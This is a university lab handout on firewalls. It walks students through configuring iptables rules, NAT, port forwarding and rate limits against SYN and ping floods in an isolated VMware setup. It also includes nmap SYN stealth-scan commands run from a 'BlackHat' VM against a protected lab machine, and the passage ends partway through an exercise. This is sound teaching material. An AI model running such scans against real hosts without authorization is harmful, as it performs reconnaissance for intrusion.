ECE4112 Internetwork Security
Lab 4: Firewalls
Group Number: _________
Member Names: ___________________
_______________________
Date Assigned: February 3, 2009
Date Due: February 10, 2009
Last Edited: October 8, 2007
Please read the entire lab and any extra materials carefully before starting. Be sure to start early
enough so that you will have time to complete the lab. Answer ALL questions in the Answer
Sheet and be sure you turn in ALL materials listed in the Turn-in Checklist on or before the
Date Due.
NOTE: Part 3 of the lab requires you to reserve slots to use the equipment. The signup sheets will be
posted on the lab door. The equipment you need to sign up for will not be available at the last minute.
PLAN AHEAD. The three sections of this lab may be done in any order.
Goal: This lab will introduce to the concept of Firewalls. You will be experimenting with
different kinds of firewalls.
Summary: This lab is divided into three major parts. Part 1 explores the Linux firewall
implementation in the form of the iptables program. Part 2 is a small introduction to Real Secure, one of
the most popular Windows firewall programs. In Part 3, you will configure a Cisco PIX 515E firewall for
a particular network structure. Part 1 and 3 might each take 2 hours or more, to finish. Therefore it is
recommended that you start early.
Background: None
Prelab Questions: None
Lab Scenario:
NOTE: Part 3 of the lab requires you to reserve slots to use the equipment. The signup sheets will be
posted on the lab door.
For Part 1 of this lab, you will be setting up two virtual machines on your hard drive. One of the two will
represent a protected machine inside a firewall, while the other will represent an attacker. We will use the
host machine (WS 4.0) as a router that implements a firewall. The virtual machine network structure is
1
shown below. These machines will be set up with host only networking, meaning any traffic they send or
receive goes through the host machine. The host machine will be using the iptables program.
Figure 1-1. Network structure on the Firewall machines
System Setup
Protected Image on the NAS: This image is a normal Linux virtual machine with IP 192.168.0.10,
netmask 255.255.255.0, and gateway 192.168.0.1. The gateway is a virtual interface on the host machine
which acts like a router and firewall. This is the machine that is on the inside network and needs to be
protected with the firewall.
Linux Firewall: Red Hat WS 4.0 base system that is configured to act like a router and runs a firewall
with ipchains. It forwards packets received on its two virtual interfaces (vmnet1 and vmnet2) to the
intended destinations. You will make firewall rules on this machine to protect the inside network.
BlackHat Image on the NAS: Same configuration as the protected machine. IP address is
131.210.231.55 and gateway is 131.210.231.1, which is the virtual interface vmnet2 on the host machine.
This is the machine where you will try to attack the protected machine from.
Configuring the network
Before configuring the firewall on the host machine, we must first setup the network described in Figure
1-1. Two virtual machine images have been placed on the NAS under the Lab 4 Folder for you to use:
Protected and BlackHat. Both of these are Red Hat Linux WS 4.0 images.
Copy the directories BlackHat and Protected to the folder that you have placed all other vmware images.
This may take a few minutes per image. Note: The root passwords for these machines have been set to
2
“password”. Before we create a virtual machine in VMWare, we must first configure both machines for
host-only networking.
From your WS4 Host machine, run the vmware-config.pl
$ /usr/bin/vmware-config.pl
Use the following answers:
Accept the default directories for the first two questions.
Accept the default “yes” for the question about building a vmon module for your system.
Again accept the default directory for the location of the C header files.
“Would you like to skip networking setup and keep you old settings as they are?” No
Do you want networking for your virtual machines? Yes
Would you prefer to modify your existing network configuration using the wizard or the editor?
Editor
Do you wish to make any changes to the current virtual networks settings? Yes
Which Virtual network do you wish to configure? (0-99)1
The network vmnet1 has been reserved for a host-only network. You may change
it, but it is highly recommended that you use it as a host-only network. Are
you sure you want to modify it? (yes/no) [no] Yes
What type of virtual network do you wish to set vmnet1?
(bridged,hostonly,nat,none) [none] Hostonly
Configuring a host-only network for vmnet1.
Do you want this program to probe for an unused private subnet? (yes/no/help) [yes] No
What will be the IP address of your host on the private network? 192.168.0.10 (see Figure 1-1)
What will be the netmask of your private network? 255.255.255.0
The following virtual networks have been defined:
. vmnet0 is bridged to eth0
. vmnet1 is a host-only network on private subnet 192.168.0.10
Do you wish to make additional changes to the current virtual networks settings ?(yes/no)
[yes]Yes
Which Virtual network do you wish to configure? (0-99)2
What type of virtual network do you wish to set vmnet2?
(bridged,hostonly,nat,none) [none] Hostonly
Configuring a host-only network for vmnet2.
Do you want this program to probe for an unused private subnet? (yes/no/help) [yes] No
What will be the IP address of your host on the private network? 131.210.231.55 (d is from table
on page 2)
What will be the netmask of your private network? 255.255.255.0
The following virtual networks have been defined:
. vmnet0 is bridged to eth0
. vmnet1 is a host-only network on private subnet 192.168.0.1.
. vmnet2 is a host-only network on private subnet 131.210.231.1.
3
Do you wish to make additional changes to the current virtual networks settings ?(yes/no)
[yes]No
Starting VMware services:
Virtual machine monitor
Virtual ethernet
Bridged networking on /dev/vmnet0
Host-only networking on /dev/vmnet1 (background)
Host-only networking on /dev/vmnet2 (background)
[
[
[
[
[
OK
OK
OK
OK
OK
]
]
]
]
]
What this has done is set up two virtual Host-Only Networks on /dev/vmnet1 and /dev/vmnet2.
We are using the host-only networks to act like two independent subnetworks. Each virtual
machine will act as if we are connecting it to an extra network card in the host.
Start VMware by typing vmware &. In another terminal type ifconfig. All of the host-only
networks appear along with eth0 and eth1, functioning as if they were physical network cards.
Start both your WS4 virtual machines (refer to lab 1 if you forgot how to add a virtual machine).
Right click on the tab that lists the name of the machine, and go down to “Settings”. The setting
for “Ethernet1” needs to be changed from “Bridged” to “Custom: Specific virtual network”. The
drop down box then needs to be set to either /dev/vmnet1 or /dev/vmnet2 depending on the
specific virtual machine. Check the network diagram on Figure 1-1.
Click on the RedHat Icon on the virtual machines and go to System Settings -> Network. Click on
Edit to modify your settings, and change your gateway (see network diagram on Figure 1-1
again). Also uncheck “Bind to MAC address” under the Hardware Devices Tab. Make sure the
IP address is correct for each virtual machine. The gateway should be the IP of the host machine
for the specific virtual network you are setting up. So for the protected virtual machine, the IP
address will be 192.168.0.10 and the gateway will be 192.168.0.1.
Click OK. Then, click Deactivate, Activate, Apply. Close to change your settings.
Try pinging your host machine from each virtual machine.
$ping 192.168.0.1
$ping 131.210.231.1
(from protected terminal)
(from BlackHat Terminal)
Now that we have bound the virtual machines to our host, it is time to allow for packet forwarding
through the host machine so that each virtual machine can communicate.
On the host machine:
To allow your host to forward or route IP packets, you need to type the following:
$echo 1 > /proc/sys/net/ipv4/ip_forward
This places a 1 in the file /proc/sys/net/ipv4/ip_forward. Check to make sure this command was
successful by typing $cat /proc/sys/net/ipv4/ip_forward (1 should be printed on your screen).
4
This configuration is reset each time your physical machine is rebooted, so you must retype this
command every time you reboot!
You should be able to ping the Protected machine from the BlackHat machine.
1. Linux Firewalls
In this section of the lab you will explore the Linux firewall iptables. The initial sections give an
overview of basic firewall concepts with exercises and examples. In the later sections, you will implement
rules in the iptables.firewall file available from the Lab 4 directory on the NAS server. The effects of
these rules are to be examined.
We will be using the “Protected” and “Blackhat” machines, as shown in Figure 1-1. The host machine
will act as the firewall.
Setting up routing and iptables
Some of the information given in this section will only be clear and useful later on when you actually use
iptables.
The executable binary for the iptables application is the /sbin/iptables file. So when you execute iptables
this is the file that is executed. RedHat also has an executable script in the /etc/init.d/iptables file so that it
can start its default firewall at startup. An easy way to reset the firewall rules is to use this script as
/etc/rc.d/init.d/iptables stop
This flushes all the rules in memory and gives you a clean start.
You can flush individual rules with
iptables –F flushes all chains
iptables –X <chain name> deletes a chain
iptables –X
deletes all chains
To check if there are any current rules, type
iptables –L
It’ll show you a couple of chains, but there won’t be any rules in them.
You might have to do /etc/init.d/iptables restart to apply these changes (note: this is a different
command than the one you used above).
Obtain the file iptables.firewall from the NAS in the lab4 folder. This file contains all of the firewall rules
we will use in this lab. The contents of this file are included in Appendix A so you may follow the lab
discussion in that file. You can execute this file to enable all the rules at once by executing it. Don’t
execute it yet.
Later in the lab, every time you need to restart the firewall with your rules, you can use the following
commands:
/etc/rc.d/init.d/iptables stop
./iptables.firewall (in the directory with your edited iptables.firewall file)
5
Again as a reminder, to enable packet forwarding on the Firewall machine, the line below needs to be
executed.
echo “1” > /proc/sys/net/ipv4/ip_forward
This has already been done above, but remember that this command needs to be executed at
restart. What this will do is to allow any FORWARD chain rules to be followed. This will make
more sense later when we discuss packet forwarding in sections 1.2, 1.5 and 1.6. For now, just
make certain that it is enabled by typing
cat /proc/sys/net/ipv4/ip_forward
1.1.1. Background
Only you can protect your system…..
Firewalls have become one of the most popular ways to help secure a network. A firewall is hardware,
software, or a combination of the two that prevents unauthorized access to or from a private network.
Think of it as Internet customs and immigration. The firewall is the agent that checks each item entering
or leaving the network. Each item must pass the right criteria in order to make it through. So a hacker
attempting to enter the network of California with a Florida orange would be stopped at the border.
Firewalls use one or more of three methods to control traffic flowing in and out of the network:
•
•
•
Packet filtering - Packets (small chunks of data) are analyzed against a set of filters. Packets that
make it through the filters are sent to the requesting system and all others are discarded.
Proxy service - Information from the Internet is retrieved by the firewall and then sent to the
requesting system and vice versa.
Stateful inspection - A newer method that doesn't examine the contents of each packet but instead
compares certain key parts of the packet to a database of trusted information. Information traveling
from inside the firewall to the outside is monitored for specific defining characteristics, then incoming
information is compared to these characteristics. If the comparison yields a reasonable match, the
information is allowed through. Otherwise it is discarded.
Exercise 1 No firewall functionality running
From the BlackHat machine, use nmap to scan the Linux Machine behind the firewall.
You can use the graphical interface for nmap with these options:
SCAN
DISCOVER
OPTIONS
->
->
->
SYN Stealth
Don’t Ping
Don’t resolve
Fast Scan
You can also use the command line with
nmap –sS –P0 –n –F <Protected Linux Machine IP>
Q1.1. Write down which ports are open:
6
1.1.2. Firewall Configuration
Firewalls are customizable. This means that you can add or remove filters based on several conditions.
Some of these are:
•
•
•
•
•
IP addresses
Domain names
Protocols  IP (Internet Protocol) - the main delivery system for information over the Internet
 TCP (Transport Control Protocol) - used to break apart and rebuild information that
travels over the Internet
 HTTP (Hyper Text Transfer Protocol) - used for Web pages
 FTP (File Transfer Protocol) - used to download and upload files
 UDP (User Datagram Protocol) - used for information that requires no response, such as
streaming audio and video
 ICMP (Internet Control Message Protocol) - used by a router to exchange the
information with other routers
 SMTP (Simple Mail Transport Protocol) - used to send text-based information (e-mail)
 SNMP (Simple Network Management Protocol) - used to collect system information
from a remote computer
 Telnet - used to perform commands on a remote computer
Ports
Specific words and phrases - This can be anything. The firewall will sniff (search through) each
packet of information for an exact match of the text listed in the filter. For example, you could
instruct the firewall to block any packet with the word "X-rated" in it. The key here is that it has
to be an exact match. The "X-rated" filter would not catch "X rated" (no hyphen). But you can
include as many words, phrases and variations of them as you need.
A software firewall, such as RealSecure, can be installed on the computer in your home. This computer
may be considered a gateway because it may provide the only point of access between your home
network and the Internet.
With a hardware firewall, the firewall unit itself is normally the gateway. A good example is the Linksys
Cable/DSL router. It has a built-in Ethernet card and hub. Computers in your home network connect to
the router, which in turn is connected to either a cable or DSL modem. You configure the router via a
Web-based interface that you reach through the browser on your computer. You can then set any filters or
additional information.
Hardware firewalls are incredibly secure and not very expensive. Home versions that include a router,
firewall, and Ethernet hub for broadband connections can be found for well under $100.
1.1.3. What It Protects You From:
There are many creative ways that unscrupulous people use to access or abuse unprotected computers.
The level of security you establish will determine how many of these threats can be stopped by your
firewall. The highest level of security would be to simply block everything. Obviously that defeats the
purpose of having an Internet connection. But a common rule of thumb is to block everything, and then
begin to select what types of traffic you will allow. You can also restrict traffic that travels through the
firewall so that only certain types of information, such as e-mail, can get through. This is a good rule for
businesses that have an experienced network administrator that understands what the needs are and knows
7
exactly what traffic to allow through. For most of us, it is probably better to work with the defaults
provided by the firewall developer unless there is a specific reason to change it.
One of the best things about a firewall from a security standpoint is that it stops anyone on the outside
from logging onto a computer in your private network. While this is a big deal for businesses, most home
networks will probably not be threatened in this manner. Still, putting a firewall in place provides some
peace of mind.
1.1.4. Demilitarized Zone
DMZ stands for Demilitarized Zone. A DMZ is your frontline when protecting valuables from direct
exposure to an untrusted environment. SI Security defines a DMZ as, "A network added between a
protected network and an external network in order to provide an additional layer of security." A DMZ is
sometimes called a "Perimeter network" or a "Three-homed perimeter network."
A DMZ is a step towards defense in depth because it adds an extra layer of security beyond that of a
single perimeter. A DMZ separates an external network from directly referencing an internal network. It
does this by isolating the machine that is being directly accessed from all other machines. Most of the
time the external network is the Internet and what is in the DMZ is the web server but this isn’t the only
possible configuration. A DMZ can be used to isolate a particular machine within a network from other
machines. This might be done for a branch office that needs its own Internet access but also needs access
to the corporate network. In DMZ terminology, an internal connection is generally thought of as having
more secret or valuable information than an external network. An easy way to understand which one is
the internal network is to ask yourself which network I am protecting.
Separation is important. Any system should have its important applications separated. This acts as system
of checks and balances to make sure that if any one area goes bad that it cannot corrupt the whole. It is
important to separate information so an attacker can’t get to all the systems. It would be bad enough for
the attacker to get to the web server but if that attacker can get through the web server to your database
then that’s even worse. This is the type of problem that a DMZ is designed to prevent.
A DMZ’s separation will degrade performance. If configured correctly the degradation in performance is
usually minimal and seldom noticeable. However, it does exist and you need to be aware of it. This effect
on performance must be calculated in the total cost of implementing a DMZ. Usually the performance
drop is nominal and the security increase is significant.
Q1.2. What ports do you think should be left open to allow for normal internet traffic? Explain how your
answer differs for say a host versus a server.
1.2.1. - IPtables Introduction
Up until now, we've looked at stateless and stateful firewalls. Remember, stateless firewalls only have the
features of a given packet to use as criteria for whether that packet should be passed, blocked, or logged.
With a stateful firewall, in addition to the fields in that packet, we also have access to the kernel's table of
open connections to use in deciding the fate of this packet.
8
There's a problem, though. Picture an attacker that has launched attacks against almost every port on our
web server box for the past half hour. The firewall has successfully repelled all of them, but now the
attacker turns his attention to port 80. All of the hostile overflow attempts are let through unhindered.
Why? Because the firewall ruleset allows all traffic to the web server through, and our firewall can't
remember the fact that this IP address has been pounding all the other ports on the system.
What if we could tell the firewall to remember the IP address of attackers and block them for a short
period of time following their last attack? By remembering their past actions, we can block incoming web
server connections that would otherwise have been allowed.
1.2.2. Iptables modules:
The firewall code in the current Linux kernel ( http://www.netfilter.org/ ) is called iptables or
netfilter (while there is a technical distinction, they're equivalent names for this discussion). The
crucial feature of this firewall is its modular design. You have the ability to add new types of
tests to perform on a packet and actions to take on it. These tests and action modules can be
added to a running kernel.
1.3.1. What’s going on in the kernel?
(taken from netfilter HOWTO by Rusty Russell)
The kernel starts with three lists of rules in the ‘filter’ table; these lists are called firewall chains or just
chains. The three chains are called INPUT, OUTPUT and FORWARD.
The chains are arranged like so: (Note: this is a very different arrangement from the 2.0 and 2.2
kernels!)
9
Figure 1-2 – Routing chains
The three circles represent the three chains mentioned above. When a packet reaches a circle in the
diagram, that chain is examined to decide the fate of the packet. If the chain says to DROP the packet, it is
killed there, but if the chain says to ACCEPT the packet, it continues traversing the diagram.
A chain is a checklist of rules. Each rule says ‘if the packet header looks like this, then here’s what to do
with the packet’. If the rule doesn’t match the packet, then the next rule in the chain is consulted. Finally,
if there are no more rules to consult, then the kernel looks at the chain policy to decide what to do. In a
security-conscious system, this policy usually tells the kernel to DROP the packet.
1. When a packet comes in (say, through the Ethernet card) the kernel first looks at the destination
of the packet: this is called ‘routing’.
2. If it’s destined for this box, the packet passes downwards in the diagram, to the INPUT chain. If it
passes this, any processes waiting for that packet will receive it.
3. Otherwise, if the kernel does not have forwarding enabled, or it doesn’t know how to forward the
packet, the packet is dropped. If forwarding is enabled, and the packet is destined for another
network interface (if you have another one), then the packet goes rightwards on our diagram to
the FORWARD chain. If it is ACCEPTed, it will be sent out.
4. Finally, a program running on the box can send network packets. These packets pass through the
OUTPUT chain immediately: if it says ACCEPT, then the packet continues out to whatever
interface it is destined for.
1.3.2. Creating your own rules
The iptables tool inserts and deletes rules form the kernel’s packet filtering table. Initially all chains are
set to ACCEPT by default. A detailed description can be obtained from the man pages (man iptables).
Commands to change chains: (Note: Use upper case letters)
1. create a new chain (-N) delete an empty chain (-X)
2. list the rules for a chain (-L)
3. flush a chain (delete all rules in a chain) (-F)
Commands to add/delete rules:
1. Append a new rules to a chain (-A)
2. Delete a rule at some position in a chain, or the first that matches (-D)
Note: The examples in these sections only demonstrate particular rules. They may or may not work for
the network setup for the lab.
1.4.0. Iptables Parameters
Parameters specify the type of packet that you are looking to match with your rule.
1.4.1. Specifying jump
10
If a packet matches one of your rules, you can tell the packet to jump to another chain with the ‘-j’ option
Example:
#jump all packets in INPUT chain to the DROP chain
iptables –A INPUT –j DROP
1.4.2. Specifying protocol
The protocol can be specified with the ‘–p’ option. Protocols can either be the number in the IP
header or ‘tcp’, ‘udp’, or ‘icmp’ (case insensitive).
Example:
#drop all icmp packets
iptables –A INPUT –p icmp –j DROP
1.4.3. Specifying inversion
To invert (negate) any of your rules use the ‘!’ character
Example:
#drop all packets that are not tcp
iptables –A INPUT –p ! tcp
1.4.4. Specifying interface
Interfaces can be specified with the ‘-i’ (input) and ‘-o’ (output) paramaters. Note, a rule in the INPUT
chain checking with ‘-o’ will never match any packet and a rule in the OUTPUT chain checking with ‘-i’
will never match any packet.
Example:
#check packets coming in from the eth0 interface
iptables –A INPUT –i eth0
1.4.5. Specifying source/dest
The source/dest address of the packet can be specified in 4 ways. The source/dest can be specified as a
named address ( localhost, www.yahoo.com), by the IP address (e.g. 192.168.1.12), by group using
network bits (e.g. 190.35.107.0/24 ), or by using network address/netmask ( e.g.
190.35.107.0/255.255.255.0 ) Although this next example is not in our iptables.firewall take a look at this
example:
Example:
#allow tcp packets coming from 130.207.232.1/24 machines to 50.60.23.45 machine
iptables –A INPUT –s 130.207.232.1/24 –d 50.60.23.45 –p tcp
11
1.4.6 . State matching
If the ‘ip_conntrack’ module is loaded, then connection-tracking analysis can be done on
packets. You can check my typing lsmod. The module can be inserted using insmod
ip_conntrack.
The states which can be checked are:
NEW
A packet which creates a new connection
ESTABLISHED
A packet which belongs to an existing connection (i.e., a reply packet, or outgoing packet on a
connection which has seen replies).
RELATED
A packet which is related to, but not part of, an existing connection, such as an ICMP error, or
(with the FTP module inserted), a packet establishing an ftp data connection.
INVALID
A packet which could not be identified for some reason: this includes running out of memory and
ICMP errors which don’t correspond to any known connection. Generally these packets should
be dropped.
An example of this powerful extension would be:
iptables –A FORWARD –i eth0 –m state ! –state NEW –j DROP
1.4.7 - Limit explanation
This module must be explicitly specified with `-m limit' or `--match limit'. It is used to restrict the
rate of matches, such as for suppressing log messages. It will only match a given number of times
per second (by default 3 matches per hour, with a burst of 5). It takes two optional arguments:
--limit
Followed by a number; specifies the maximum average number of matches to allow per second.
The number can specify units explicitly, using `/second', `/minute', `/hour' or `/day', or parts of
them (so `5/second' is the same as `5/s').
--limit-burst
Followed by a number, indicating the maximum burst before the above limit kicks in.
This match can often be used with the LOG target to do rate-limited logging. To understand how
it works, let's look at the following rule, which logs packets with the default limit parameters:
12
# iptables -A FORWARD -m limit -j LOG
The first time this rule is reached, the packet will be logged; in fact, since the default burst is 5,
the first five packets will be logged. After this, it will be twenty minutes before a packet will be
logged from this rule, regardless of how many packets reach it (60 minutes / 3 packets per hour).
This value of twenty minutes is because the default limit is 3/hour. Also, every twenty minutes
which passes without matching a packet, one of the burst will be regained; if no packets hit the
rule for 100 minutes, the burst will be fully recharged to 5 packets (100 minutes / 20mintes per
packet); back where we started.
Note: you cannot currently create a rule with a recharge time greater than about 59 hours, so if
you set an average rate of one per day, then your burst rate must be less than 3.
You can also use this module to avoid various denial-of-service attacks (DoS) with a faster rate to
increase responsiveness.
Syn-flood protection (recall Datapool utility from Lab 3 for DoS using Syn Flood):
# iptables
or
# iptables
# iptables
RETURN
# iptables
# iptables
-A FORWARD -p tcp --syn -m limit --limit 1/s -j ACCEPT
–N SYN-FLOOD
–A SYN-FLOOD –m limit –-limit 20/s –-limit-burst 100 –j
–A SYN-FLOOD –j LOG –-log-prefix “SYN-FLOOD: ”
–A INPUT –p tcp –-syn –j SYN-FLOOD
Furtive port scanner:
# iptables -A FORWARD -p tcp --tcp-flags SYN,ACK,FIN,RST RST -m limit -limit 1/s -j ACCEPT
Ping of death:
# iptables -A FORWARD -p icmp --icmp-type echo-request -m limit --limit
1/s -j ACCEPT
UDP Attack (from Lab 3):
# iptables
# iptables
RETURN
# iptables
# iptables
# iptables
–N UDP-FLOOD
–A UDP-FLOOD –m limit –-limit 20/s –-limit-burst 100 –j
–A UDP-FLOOD –j LOG –-log-prefix “UDP-FLOOD: “
–A UDP-FLOOD –j DROP
–A INPUT –p udp –j UDP-FLOOD
1.5.0. Network Address Translation (NAT)
There are two types of NAT, source NAT and destination NAT.
Source NAT is when you alter the source address of the first packet: i.e. you are changing where the
connection is coming from. Source NAT is always done post-routing, just before the packet goes out onto
13
the wire. Masquerading is a specialized form of SNAT. A router might do masquerading for packets
going from one of its internal machines to an outside connection. In this case it will change the source
address of the machine to its own address. The external machine will see the packets coming from the
router.
Destination NAT is when you alter the destination address of the first packet: i.e. you are changing where
the connection is going to. Destination NAT is always done before routing, when the packet first comes
off the wire. Port forwarding, load sharing, and transparent proxying are all forms of DNAT. In the router
example, the incoming packets intended for the internal machine are routed to it by changing the
destination address to the internal address of the machine.
1.5.1 - NAT in the kernel
You need to create NAT rules which tell the kernel what connections to change, and how to change them.
To do this, we use the very versatile iptables tool, and tell it to alter the NAT table by specifying the
`-t nat' option.
The table of NAT rules contains three lists called `chains': each rule is examined in order until one
matches. The two chains are called PREROUTING (for Destination NAT, as packets first come in), and
POSTROUTING (for Source NAT, as packets leave). The third (OUTPUT) will be ignored here.
The following diagram illustrates this concept:
Figure 1-3 – NAT routing chains
At each of the points above, when a packet passes we look up what connection it is associated with. If it's
a new connection, we look up the corresponding chain in the NAT table to see what to do with it. The
answer it gives will apply to all future packets on that connection.
14
1.5.2. Iptables and NAT
Figure 1-4 – NAT with Iptables
In order to explain the iptables.firewall commands in the next section, (see iptables.firewall in Appendix
A now) you need the following details:
The most important option for the iptables command is the table selection option, `-t'. For all NAT
operations, you will want to use `-t nat' for the NAT table. The second most important option to use is `A' to append a new rule at the end of the chain (e.g. `-A POSTROUTING'), or `-I' to insert one at the
beginning (e.g. `-I PREROUTING').
You can specify the source (`-s' or `--source') and destination (`-d' or `--destination') of the packets you
want to NAT. These options can be followed by a single IP address (e.g. 192.168.1.1), a name (e.g.
www.gnumonks.org), or a network address (e.g. 192.168.1.0/24 or 192.168.1.0/255.255.255.0).
You can specify the incoming (`-i' or `--in-interface') or outgoing (`-o' or `--out-interface') interface to
match, but which you can specify depends on which chain you are putting the rule into: at
PREROUTING you can only select incoming interface, and at POSTROUTING you can only select
outgoing interface. If you use the wrong one, iptables will give an error.
You want to do Source NAT; change the source address of connections to something different. This is
done in the POSTROUTING chain, just before it is finally sent out; this is an important detail, since it
means that anything else on the Linux box itself (routing, packet filtering) will see the packet unchanged.
It also means that the `-o' (outgoing interface) option can be used.
DNAT is done in the PREROUTING chain, just as the packet comes in; this means that anything else on
the Linux box itself (routing, packet filtering) will see the packet going to its `real' destination. It also
means that the `-i' (incoming interface) option can be used.
15
1.5.3. Port Forwarding
When running a web server behind your firewall, you want to forward packets destined for that server
through the firewall to that box.
Example:
# Linux 2.4
# Append a rule before routing (-A PREROUTING) to the NAT table (-t nat) that
# TCP packets (-p tcp) going to 1.2.3.4 (-d 1.2.3.4) port 80 (--dport 80)
# have their destination mapped (-j DNAT) to 192.168.1.1, port 80
# (--to 192.168.1.1:80).
iptables -A PREROUTING -t nat -p tcp -d 1.2.3.4 --dport 80 \
-j DNAT --to 192.168.1.1:80
NOTE: This only changes the destination of the packet, it does not
automatically accept it in the forwarding chain. A rule must be made in the
forwarding chain also.
1.5.4. Masquerading
There is a specialized case of Source NAT called masquerading: it should only be used for dynamicallyassigned IP addresses, such as standard dialups.
You don't need to put in the source address explicitly with masquerading: it will use the source address of
the interface the packet is going out from. But more importantly, if the link goes down, the connections
(which are now lost anyway) are forgotten, meaning fewer glitches when connection comes back up with
a new IP address.
## Masquerade everything out ppp0.
# iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE
1.6.0. iptables.firewall Script Explanation (See Appendix A)
These rules are already contained in our file iptables.firewall. We do not cover the rules in exactly the
same order as they appear in your file. Go through these rules and understand what exactly is being done.
1.6.1. Load the iptables modules and connection tracking for ftp and nat:
modprobe
modprobe
modprobe
modprobe
ip_tables
iptable_nat
ip_conntrack_ftp
ip_nat_ftp
Configure default policies (-P), meaning default rule to apply if no more specific rule below is applicable.
These rules apply if a more specific rule below is not applicable. Defaults are to DROP anything sent to
firewall or internal network, permit anything going out.
iptables -P INPUT DROP
iptables -P FORWARD DROP
16
iptables -P OUTPUT ACCEPT
1.6.2. Flush (-F) all specific rules:
iptables
iptables
iptables
iptables
-F
-F
-F
-F
INPUT
FORWARD
OUTPUT
-t nat
The rest of this file contains specific rules that are applied in the order listed. If none applies, then the
above policy rules are used.
Forward all packets from vmnet1 (internal network) to vmnet2 (the internet).
iptables -A FORWARD -i vmnet1 -o vmnet2 -j ACCEPT
Forward all packets that are part of existing and related connections from vmnet2 to vmnet1.
iptables -A FORWARD -i vmnet2 -o vmnet1 -m state --state
ESTABLISHED,RELATED -j ACCEPT
Permit packets in to firewall itself that are part of existing and related connections.
iptables -A INPUT -i vmnet2 -m state --state ESTABLISHED,RELATED -j
ACCEPT
Note, in the above two rules, a connection becomes ESTABLISHED in the iptables PREROUTING chain
upon receipt of a SYNACK packet that is a response to a previously sent SYN packet. The SYNACK
packet itself is considered to be part of the established connection, so no special rule is needed to allow
the SYNACK packet itself.
Allow all inputs to firewall from the internal network and local interfaces
iptables -A INPUT -i vmnet1 -s 0/0 -d 0/0 -j ACCEPT
iptables -A INPUT -i lo -s 0/0 -d 0/0 -j ACCEPT
1.6.3.Forwarding
Forward all http packets (port 80) to the internal VMware machine
iptables -A PREROUTING -t nat –d 131.210.231.1 -p tcp --dport 80 -j
DNAT
--to 192.168.0.10:80
iptables –A FORWARD –i vmnet2 –p tcp -–dport 80 –j ACCEPT
Forward all ssh packets (port 22) to the inside machine
17
iptables -A PREROUTING -t nat –d 131.210.231.1 -p tcp --dport 22 -j
DNAT
--to 192.168.0.10:22
iptables –A FORWARD –i vmnet2 –p tcp -–dport 22 –j ACCEPT
Turn on ip forwarding in case it wasn't already enabled
echo "1" > /proc/sys/net/ipv4/ip_forward
1.6.4. Alternative to SNAT -- MASQUERADE
If your firewall has a dynamic IP number (most cable/DSL providers, such as ATT and Bellsouth, and all
dial-up connections only offer dynamic IPs) because it connects to the internet itself via DHCP, then you
probably cannot predict what the IP number is of your firewall's interface connected to the internet. In this
case, you need a rule like the following that assigns the (an) IP number associated with vmnet2 to
outgoing connections without you needing to know in advance (at time of writing this rule) what that IP
number is:
iptables -A POSTROUTING -t nat -o vmnet2 -j MASQUERADE
Deny any packet coming in on the public internet interface vmnet2 which has a spoofed source address
from our local networks:
iptables -A INPUT -i vmnet2 -s 192.168.0.0/24 -j DROP
iptables -A INPUT -i vmnet2 -s 127.0.0.0/8 -j DROP
If you query a particular remote DNS server, permit UDP responses from it.
iptables -A INPUT -p udp -s <remote DNS server IP> --source-port 53 -d
0/0 -j ACCEPT
1.6.5. Defending against ICMP Ping Floods
ICMP ping floods are commonly used attacks, especially by “script kiddies.” The attack is really simple,
the attacker ping floods you and if he has more upstream than your downstream, you won’t be able to
access anything. Iptables allows you to specify how many ICMP “echo” packets you want to reply to.
This can be done by adding the following:
iptables -A INPUT –p icmp –-icmp-type echo-request –m limit \
-–limit 30/minute –-limit-burst 1 –j ACCEPT
“30/minute’ means accept every other packet. An attacker may still ping flood you, but you
won’t reply to it anyways, and he will give up soon. However, this also allows other people to ping
you, just to test the network connection. The burst is set to 1 packet, so this limit will immediately take
effect.
18
Our Linux based firewall is already completely setup since the iptables.firewall file is provided for us, and
all of the machines behind the firewall are protected from harmful traffic. We will now run some tests to
show the results of the firewall installation.
Exercise 3
Turn on the firewall rules by typing
./iptables.firewall (in the directory where your iptables.firewall is placed)
If you have enabled the firewall before, you will need to flush the rules before executing the above
command.
Now rerun nmap from outside the firewall (BlackHat) on the Linux machine behind the firewall
(Protected).
Run nmap with these options:
SCAN
DISCOVER
OPTIONS
->
->
->
TIMING
->
SYN Stealth
Don’t Ping
Don’t resolve
Fast Scan
Max RTT 6ms
The command is
nmap –sS –P0 –n –F –max_rtt_timeout 6 <Protected Linux machine IP>
We must add this additional timing option because the firewall does not send a reset packet when nmap
scans a closed port, it simply drops it. The RTT value specifies that nmap will not wait longer than 6ms
for a response on a port. Note: 6ms is the smallest amount of time that is allowed for this option. In our
case, since most packets will be dropped, increasing this value to something even as small as 40ms will
cause this scan to take as long as 30 minutes.
Q1.3. Write down which ports are open after the firewalls installation:
Exercise 4
Q1.4. What happened differently in the results from exercise three as opposed to exercise one? Can you
speculate what firewall rules caused this?
Exercise 5
From BlackHat, we are going to ping the firewall to observe the rule which defends against icmp ping
floods. The rule specified in this lab has the limit as 30/minute and a burst of 1. This means that every
other packet will be denied and this rule will be enabled with the first packet.
From your BlackHat, ping the firewall with these options:
ping 131.210.231.1 –c 20 –w 4
19
Record this output in one window.
Now change the rule in the iptables.firewall file to 10/minute and a burst of 5. Restart the firewall with
the command
/etc/rc.d/init.d/iptables stop
./iptables.firewall
In another window from BlackHat ping the firewall with these options:
ping 131.210.231.1 –c 20 –w 4
Q1.5. Comment on the differences now as opposed to the first rule used above:
Exercise 6
Now run ethereal on the firewall machine. Run with the options capture packets on ‘any’ interface,
update packets in real time, and automatic scrolling.
From the linux machine behind the firewall, ping BlackHat, outside of the firewall, with the command:
ping –c 1 131.210.231.55
Record the ethereal output and comment on the number of packets observed and their source and
destination addresses.
Now, edit iptables.firewall and comment out line 31 which reads:
iptables -A FORWARD -i vmnet2 -o vmnet1 -m state --state
ESTABLISHED,RELATED -j ACCEPT
Restart the firewall with the command
/etc/rc.d/init.d/iptables stop
./iptables.firewall
Repeat the previous ping and record and comment on the differences.
Q1.6. Uncomment line 31 and restart the firewall. Explain what you saw and why:
Exercise 7
Restart ethereal on the firewall machine. Run with the options capture packets on ‘any’ interface, update
packets in real time, and automatic scrolling.
From BlackHat, ssh to 131.210.231.1
Q1.7. Record these output in ethereal and comment on what you saw happen:
20
Exercise 8
Now we are going to log any packets attempting to telnet to the firewall using the LOG chain.
iptables –A INPUT –d 131.210.231.1 –p tcp --dport 23 –j LOG --log-prefix ‘TELNET ATTEMPT: ‘
